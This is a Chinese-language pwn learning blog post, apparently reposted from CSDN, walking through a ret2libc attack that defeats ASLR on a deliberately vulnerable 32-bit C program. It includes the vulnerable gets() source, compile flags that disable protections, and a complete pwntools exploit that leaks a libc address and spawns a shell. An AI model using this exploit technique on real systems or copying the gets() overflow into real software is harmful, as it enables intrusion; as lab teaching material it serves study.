pwn学习---ret2libc绕过地址随机化

前情回顾

之前的实践中,当我们开启了栈不可执行,但是关闭了地址随机化,我们可以通过找到system“/bin/sh”的地址,然后利用溢出跳转到system“/bin/sh”的地址去执行,当然,这一切都基于关闭了地址随机化,使得 system() 函数在内存中的地址是不会变化的,并且 libc.so 中也包含 “/bin/sh” 这个字符串,这个字符串的地址也是固定的。

那么问题来了。。。。。。
如果我们想同时开启了栈不可执行和地址随机化,应该如何绕过呢?
那就先卖一个关子,先逐步做下去,我们就会明白了

C语言代码

#include<stdio.h>
char buf2[10] = "this is buf2";
void vul()
{
	char buf1[10];
	gets(buf1);
}
void main()
{
	write(1,"sinxx",5);
	vul();
}

可见在vul()里的gets函数和write()均可输入和溢出。

进行编译

gcc -no-pie -fno-stack-protector -m32 -o 9.exe 9.c

一般情况下,ASLR默认情况下是开启的,也可以通过下面这个命令开启:

echo 2 > /proc/sys/kernel/randomize_va_space

定位溢出点

可以发现溢出点为22

cyclic 100
cyclic -l aaya

接下来我们通过ldd 9.exe来查看libc的地址,可以发现每一次都是改变的。
在这里插入图片描述如何解决呢?

system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的(即使打开ASLR也是这样的)。

我们可以先泄漏出 libc.so 某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出 system() 函数和 /bin/sh 字符串在内存中的地址,然后再执行我们的 ret2libc 的 payload 就可以了。

exp

from pwn import *
context(arch="i386",os="linux")
p=process("9.exe")  //加载进程
e=ELF("9.exe")      //加载elf文件
addr_write=e.plt["write"]  
addr_gets=e.got["gets"]   //gets函数的真实地址会存在它的got表里
addr_vul=e.symbols["vul"]  //自定义的函数用符号表

print pidof(p)   //可用于attach调试
offset=22
pause()  

payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)
p.sendlineafter("sinxx",payload1)//是指将在sinxx输完之后 再输入payload1
gets_real_addr=u32(p.recv(4))//把字符串变成32位地址

libc=ELF("/lib/i386-linux-gnu/libc.so.6") 
rva_libc=gets_real_addr-libc.symbols["gets"]//算出偏移值
addr_system=rva_libc+libc.symbols["system"]//找出system的真实地址
addr_binsh=rva_libc+libc.search("/bin/sh").next() //找出/bin/sh的真实地址,函数用symbols修饰,字符串用search

payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)//和绕过地址不可执行的payload一样
p.sendline(payload2)
p.interactive()

对exp的理解

1.elf文件: 在计算机科学中,是一种用于二进制文件、可执行文件、目标代码、共享库和核心转储格式文件。这个解释让人依旧很蒙圈。
推荐一篇文章:https://blog.csdn.net/daide2012/article/details/73065204
2.payload1的理解
payload1=offset*‘a’+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)
先调用write函数,然后1,addr_gets,4均为write函数的参数,就可以把gets函数的真实地址写入,最后跳转到vul的地址去执行payload2。
write函数
在这里插入图片描述
3.找出偏移地址:
先加载9.exe依赖的库,ldd 9.exe看程序依赖什么库
在这里插入图片描述然后rva_libc=gets_real_addr-libc.symbols[“gets”],用gets函数的真实地址减去libc中gets函数的地址,求出偏移值。

addr_system=rva_libc+libc.symbols[“system”]
addr_binsh=rva_libc+libc.search("/bin/sh").next()
用偏移值加上libc中system和“/bin/sh”的地址,就能得到system和/bin/sh的真实地址。这里注意system是函数,用symbols修饰,/bin/sh是字符串,用search修饰。

next()是用来查找字符串的,比如next(libc.search(’/bin/sh’))用来查找包含/bin/sh(字符串、某个函数或数值)的地址

一个疑问
我开始以为write函数和gets函数都发生了溢出,后来明白两次溢出均是gets函数,第一次呢,我们运行主函数的时候,先运行write函数,就会输出sinxx,然后我们运行vul,这里面有个数组,然后我们利用gets函数溢出,使用write函数打印出那个addr_gets,然后我们执行完之后,又会在这里插入图片描述
跳到这个vul函数,再次溢出并执行payload2。

运行python 9.py
在这里插入图片描述getshell!

猜你喜欢

转载自blog.csdn.net/qq_44108455/article/details/105367144